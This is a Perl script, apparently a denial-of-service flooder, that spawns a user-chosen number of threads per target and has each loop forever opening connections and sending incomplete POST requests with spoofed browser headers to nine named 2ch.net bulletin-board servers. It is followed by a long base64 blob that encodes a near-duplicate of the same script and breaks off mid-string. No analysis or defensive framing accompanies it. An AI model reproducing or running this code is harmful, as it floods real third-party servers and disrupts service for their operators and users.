#!/usr/bin/perl
use strict;
use warnings;
use threads;
use threads::shared;
use Socket;
my $thread = <STDIN>;
my $raichoipaddr = inet_aton( "raicho.2ch.net" );
exit if (!$raichoipaddr); my $raicho = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $raichoipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://r...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: raicho.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $hatsukariipaddr = inet_aton( "hatsukari.2ch.net" );
exit if (!$hatsukariipaddr); my $hatsukari = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $hatsukariipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: hatsukari.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $tokiipaddr = inet_aton( "toki.2ch.net" );
my $toki = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $tokiipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://t...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: toki.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $qb5ipaddr = inet_aton( "qb5.2ch.net" );
my $qb5 = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $qb5ipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://q...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: qb5.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $kamomeipaddr = inet_aton( "kamome.2ch.net" );
exit if (!$kamomeipaddr); my $kamome = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $kamomeipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://k...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: kamome.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $hibariipaddr = inet_aton( "hibari.2ch.net" );
exit if (!$hibariipaddr); my $hibari = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $hibariipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: hibari.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $hatoipaddr = inet_aton( "hato.2ch.net" );
my $hato = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $hatoipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: hato.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $hayabusaipaddr = inet_aton( "hayabusa.2ch.net" );
exit if (!$hayabusaipaddr); my $hayabusa = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $hayabusaipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://h...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: hayabusa.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my $yuzuruipaddr = inet_aton( "yuzuru.2ch.net" );
exit if (!$yuzuruipaddr); my $yuzuru = sub{
while(){
connect(SOCK
, sockaddr_in
("80", $yuzuruipaddr)); $|=1;
print SOCK
"POST /test/bbs.cgi HTTP/1.1\r\n"; print SOCK
"Accept: */*\r\n"; print SOCK
"Referer: http://y...content-available-to-author-only...h.net" . "/news/\r\n"; print SOCK
"Accept-Language: ja,en;q=0.5\r\n"; print SOCK
"Content-Type: application/x-www-form-urlencoded\r\n"; print SOCK
"Accept-Encoding: gzip, deflate\r\n"; print SOCK
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n"; print SOCK
"Host: yuzuru.2ch.net\r\n"; print SOCK
"Content-Length: 1\r\n"; print SOCK
"Connection: Keep-Alive\r\n";
threads->yield();
}
};
my @raichothreads;
my @hatsukarithreads;
my @tokithreads;
my @qb5threads;
my @kamomethreads;
my @hibarithreads;
my @hatothreads;
my @hayabusathreads;
my @yuzuruthreads;
my $i = 0;
while ( $i < $thread ) {
$raichothreads[$i] = threads->new($raicho);
$hatsukarithreads[$i] = threads->new($hatsukari);
$tokithreads[$i] = threads->new($toki);
$qb5threads[$i] = threads->new($qb5);
$kamomethreads[$i] = threads->new($kamome);
$hibarithreads[$i] = threads->new($hibari);
$hatothreads[$i] = threads->new($hato);
$hayabusathreads[$i] = threads->new($hayabusa);
$yuzuruthreads[$i] = threads->new($yuzuru);
++$i;
}
my $b = 0;
while ( $b < $thread ) {
$raichothreads[$b]->join; $hatsukarithreads[$b]->join; $kamomethreads[$b]->join; $hibarithreads[$b]->join; $hayabusathreads[$b]->join; $yuzuruthreads[$b]->join; ++$b;
}
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSB0aHJlYWRzOwp1c2UgdGhyZWFkczo6c2hhcmVkOwp1c2UgU29ja2V0OwoKcHJpbnQgIuOCueODrOODg+ODieaVsOOCkuaMh+WumuOBl+OBpuOBj+OBoOOBleOBhDoiOwpteSAkdGhyZWFkID0gPFNURElOPjsKY2hvbXAgJHRocmVhZDsKCm15ICRyYWljaG9pcGFkZHIgPSBpbmV0X2F0b24oICJyYWljaG8uMmNoLm5ldCIgKTsKZXhpdCBpZiAoISRyYWljaG9pcGFkZHIpOwpteSAkcmFpY2hvID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJHJhaWNob2lwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL3IuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDogcmFpY2hvLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRoYXRzdWthcmlpcGFkZHIgPSBpbmV0X2F0b24oICJoYXRzdWthcmkuMmNoLm5ldCIgKTsKZXhpdCBpZiAoISRoYXRzdWthcmlpcGFkZHIpOwpteSAkaGF0c3VrYXJpID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJGhhdHN1a2FyaWlwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL2guLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDogaGF0c3VrYXJpLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICR0b2tpaXBhZGRyID0gaW5ldF9hdG9uKCAidG9raS4yY2gubmV0IiApOwpleGl0IGlmICghJHRva2lpcGFkZHIpOwpteSAkdG9raSA9IHN1YnsKCXdoaWxlKCl7CgkJc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSggJ3RjcCcpKTsKCQljb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKCI4MCIsICR0b2tpaXBhZGRyKSk7CgkJc2VsZWN0KFNPQ0spOwoJCSR8PTE7CgkJc2VsZWN0KFNURE9VVCk7CgkJCgkJcHJpbnQgU09DSyAiUE9TVCAvdGVzdC9iYnMuY2dpIEhUVFAvMS4xXHJcbiI7CgkJcHJpbnQgU09DSyAiQWNjZXB0OiAqLypcclxuIjsKCQlwcmludCBTT0NLICJSZWZlcmVyOiBodHRwOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uaC5uZXQiIC4gIi9uZXdzL1xyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdC1MYW5ndWFnZTogamEsZW47cT0wLjVcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZVxyXG4iOwoJCXByaW50IFNPQ0sgIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBYUClcclxuIjsKCQlwcmludCBTT0NLICJIb3N0OiB0b2tpLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRxYjVpcGFkZHIgPSBpbmV0X2F0b24oICJxYjUuMmNoLm5ldCIgKTsKZXhpdCBpZiAoISRxYjVpcGFkZHIpOwpteSAkcWI1ID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJHFiNWlwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL3EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDogcWI1LjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRrYW1vbWVpcGFkZHIgPSBpbmV0X2F0b24oICJrYW1vbWUuMmNoLm5ldCIgKTsKZXhpdCBpZiAoISRrYW1vbWVpcGFkZHIpOwpteSAka2Ftb21lID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJGthbW9tZWlwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL2suLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDoga2Ftb21lLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRoaWJhcmlpcGFkZHIgPSBpbmV0X2F0b24oICJoaWJhcmkuMmNoLm5ldCIgKTsKZXhpdCBpZiAoISRoaWJhcmlpcGFkZHIpOwpteSAkaGliYXJpID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJGhpYmFyaWlwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL2guLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDogaGliYXJpLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRoYXRvaXBhZGRyID0gaW5ldF9hdG9uKCAiaGF0by4yY2gubmV0IiApOwpleGl0IGlmICghJGhhdG9pcGFkZHIpOwpteSAkaGF0byA9IHN1YnsKCXdoaWxlKCl7CgkJc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSggJ3RjcCcpKTsKCQljb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKCI4MCIsICRoYXRvaXBhZGRyKSk7CgkJc2VsZWN0KFNPQ0spOwoJCSR8PTE7CgkJc2VsZWN0KFNURE9VVCk7CgkJCgkJcHJpbnQgU09DSyAiUE9TVCAvdGVzdC9iYnMuY2dpIEhUVFAvMS4xXHJcbiI7CgkJcHJpbnQgU09DSyAiQWNjZXB0OiAqLypcclxuIjsKCQlwcmludCBTT0NLICJSZWZlcmVyOiBodHRwOi8vaC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uaC5uZXQiIC4gIi9uZXdzL1xyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdC1MYW5ndWFnZTogamEsZW47cT0wLjVcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZVxyXG4iOwoJCXByaW50IFNPQ0sgIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBYUClcclxuIjsKCQlwcmludCBTT0NLICJIb3N0OiBoYXRvLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICRoYXlhYnVzYWlwYWRkciA9IGluZXRfYXRvbiggImhheWFidXNhLjJjaC5uZXQiICk7CmV4aXQgaWYgKCEkaGF5YWJ1c2FpcGFkZHIpOwpteSAkaGF5YWJ1c2EgPSBzdWJ7Cgl3aGlsZSgpewoJCXNvY2tldChTT0NLLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoICd0Y3AnKSk7CgkJY29ubmVjdChTT0NLLCBzb2NrYWRkcl9pbigiODAiLCAkaGF5YWJ1c2FpcGFkZHIpKTsKCQlzZWxlY3QoU09DSyk7CgkJJHw9MTsKCQlzZWxlY3QoU1RET1VUKTsKCQkKCQlwcmludCBTT0NLICJQT1NUIC90ZXN0L2Jicy5jZ2kgSFRUUC8xLjFcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQ6ICovKlxyXG4iOwoJCXByaW50IFNPQ0sgIlJlZmVyZXI6IGh0dHA6Ly9oLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5oLm5ldCIgLiAiL25ld3MvXHJcbiI7CgkJcHJpbnQgU09DSyAiQWNjZXB0LUxhbmd1YWdlOiBqYSxlbjtxPTAuNVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJcHJpbnQgU09DSyAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlXHJcbiI7CgkJcHJpbnQgU09DSyAiVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIFhQKVxyXG4iOwoJCXByaW50IFNPQ0sgIkhvc3Q6IGhheWFidXNhLjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15ICR5dXp1cnVpcGFkZHIgPSBpbmV0X2F0b24oICJ5dXp1cnUuMmNoLm5ldCIgKTsKZXhpdCBpZiAoISR5dXp1cnVpcGFkZHIpOwpteSAkeXV6dXJ1ID0gc3ViewoJd2hpbGUoKXsKCQlzb2NrZXQoU09DSywgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCAndGNwJykpOwoJCWNvbm5lY3QoU09DSywgc29ja2FkZHJfaW4oIjgwIiwgJHl1enVydWlwYWRkcikpOwoJCXNlbGVjdChTT0NLKTsKCQkkfD0xOwoJCXNlbGVjdChTVERPVVQpOwoJCQoJCXByaW50IFNPQ0sgIlBPU1QgL3Rlc3QvYmJzLmNnaSBIVFRQLzEuMVxyXG4iOwoJCXByaW50IFNPQ0sgIkFjY2VwdDogKi8qXHJcbiI7CgkJcHJpbnQgU09DSyAiUmVmZXJlcjogaHR0cDovL3kuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmgubmV0IiAuICIvbmV3cy9cclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtTGFuZ3VhZ2U6IGphLGVuO3E9MC41XHJcbiI7CgkJcHJpbnQgU09DSyAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsKCQlwcmludCBTT0NLICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGVcclxuIjsKCQlwcmludCBTT0NLICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgWFApXHJcbiI7CgkJcHJpbnQgU09DSyAiSG9zdDogeXV6dXJ1LjJjaC5uZXRcclxuIjsKCQlwcmludCBTT0NLICJDb250ZW50LUxlbmd0aDogMVxyXG4iOwoJCXByaW50IFNPQ0sgIkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuIjsKCQlwcmludCBTT0NLICJcclxuIjsKCQkKCQljbG9zZShTT0NLKTsKCQkKCQl0aHJlYWRzLT55aWVsZCgpOwoJfQp9OwoKCm15IEByYWljaG90aHJlYWRzOwpteSBAaGF0c3VrYXJpdGhyZWFkczsKbXkgQHRva2l0aHJlYWRzOwpteSBAcWI1dGhyZWFkczsKbXkgQGthbW9tZXRocmVhZHM7Cm15IEBoaWJhcml0aHJlYWRzOwpteSBAaGF0b3RocmVhZHM7Cm15IEBoYXlhYnVzYXRocmVhZHM7Cm15IEB5dXp1cnV0aHJlYWRzOwoKCm15ICRpID0gMDsKd2hpbGUgICggJGkgPCAkdGhyZWFkICkgewoJJHJhaWNob3RocmVhZHNbJGldID0gdGhyZWFkcy0+bmV3KCRyYWljaG8pOwoJJGhhdHN1a2FyaXRocmVhZHNbJGldID0gdGhyZWFkcy0+bmV3KCRoYXRzdWthcmkpOwoJJHRva2l0aHJlYWRzWyRpXSA9IHRocmVhZHMtPm5ldygkdG9raSk7CgkkcWI1dGhyZWFkc1skaV0gPSB0aHJlYWRzLT5uZXcoJHFiNSk7Cgkka2Ftb21ldGhyZWFkc1skaV0gPSB0aHJlYWRzLT5uZXcoJGthbW9tZSk7CgkkaGliYXJpdGhyZWFkc1skaV0gPSB0aHJlYWRzLT5uZXcoJGhpYmFyaSk7CgkkaGF0b3RocmVhZHNbJGldID0gdGhyZWFkcy0+bmV3KCRoYXRvKTsKCSRoYXlhYnVzYXRocmVhZHNbJGldID0gdGhyZWFkcy0+bmV3KCRoYXlhYnVzYSk7CgkkeXV6dXJ1dGhyZWFkc1skaV0gPSB0aHJlYWRzLT5uZXcoJHl1enVydSk7CiAgICsrJGk7Cn0KbXkgJGIgPSAwOwp3aGlsZSAgKCAkYiA8ICR0aHJlYWQgK